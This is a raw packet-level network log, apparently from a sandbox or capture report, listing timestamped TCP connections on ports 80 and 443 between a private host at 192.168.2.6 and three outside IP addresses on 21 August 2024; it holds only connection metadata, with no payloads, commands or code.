Aug 21, 2024 08:32:15.687621117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687627077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687645912 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687678099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.701010942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701023102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701036930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701073885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701082945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701090097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701091051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701098919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701128006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701152086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701181889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701193094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701308966 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701359034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701365948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701371908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701375961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701381922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701386929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701395035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701406002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701428890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701517105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701523066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701534033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701592922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701606035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701670885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701680899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701688051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701695919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701709986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701716900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701716900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701721907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701733112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701776981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701776981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701776981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701797009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701857090 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701869011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701879025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701925039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701925993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701931953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701945066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701952934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.701973915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.701997995 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.703345060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703357935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703376055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703381062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703387022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703392029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703404903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703423023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.703438997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.703449011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.703468084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.703496933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.703778982 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.703794956 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.703869104 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.703879118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704041958 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.704160929 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704175949 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704279900 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.704284906 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704310894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704322100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704386950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704406977 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.704494953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704502106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704507113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704511881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704516888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704521894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704526901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704551935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704572916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704591990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704690933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704698086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704705954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704713106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704726934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.704737902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704775095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.704842091 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704858065 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.704991102 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.704997063 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705069065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705079079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705084085 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705085039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705092907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705099106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705105066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705110073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705118895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.705121994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705131054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705166101 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.705189943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.705549002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705555916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705565929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705570936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705605030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.705607891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705614090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.705650091 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705658913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.705671072 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705715895 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705720901 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705749989 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705779076 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705785990 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705792904 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705792904 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705796957 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.705856085 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.705871105 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.706437111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706444025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706455946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706461906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706471920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706476927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706482887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706494093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706501961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706510067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706511974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.706518888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706554890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.706583023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.706778049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706785917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706795931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706800938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.706828117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.706852913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.707000017 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.707015038 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.707052946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.707056999 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.707115889 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.707115889 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.707123995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707129955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707139969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707144976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707150936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707160950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707171917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.707178116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707187891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.707206964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.707230091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.708183050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708235979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708241940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708249092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708257914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708290100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.708316088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.708370924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708376884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708388090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708421946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.708899021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708906889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708913088 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.708919048 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.708933115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708939075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708944082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708956003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708961964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.708972931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.708976984 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.708986998 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.709011078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.709014893 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.709085941 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.709333897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709343910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709355116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709361076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709371090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709377050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709388971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.709408998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.709445000 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.709757090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709810972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.709832907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709840059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709878922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.709884882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709892035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709906101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709917068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.709933043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.709954023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.710047960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.710160017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.711997986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712013960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712021112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712024927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712038040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712044001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712054014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712075949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712105989 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712240934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712250948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712265015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712287903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712292910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712299109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712305069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712311029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712312937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712326050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.712330103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712347984 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712372065 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.712393999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.713238955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713248968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713263035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713314056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.713316917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713325977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713335037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.713340998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713351965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.713373899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.713399887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.714464903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714478016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714504957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714520931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714526892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714531898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714540005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.714545012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.714575052 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.714575052 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.714617968 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.715280056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715289116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715301037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715306997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715312958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715318918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715327024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.715346098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.715362072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.719305992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719319105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719338894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719343901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719351053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719355106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719364882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719372034 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.719393015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.719461918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719469070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719474077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719480038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719485044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719490051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719505072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.719516039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.719532967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723201036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723220110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723232985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723237991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723242998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723248005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723254919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723294973 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723323107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723350048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723356009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723361015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723371029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723376989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723387003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723392010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723393917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723412991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723433018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723627090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723634005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723640919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723647118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723679066 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.723722935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723836899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723841906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723885059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.723890066 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.725905895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725919008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725934982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725974083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725974083 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.725980997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725986958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.725986958 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.725994110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726016998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.726042032 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.726146936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726154089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726166010 CEST	80	49719	147.45.44.104	192.168.2.6
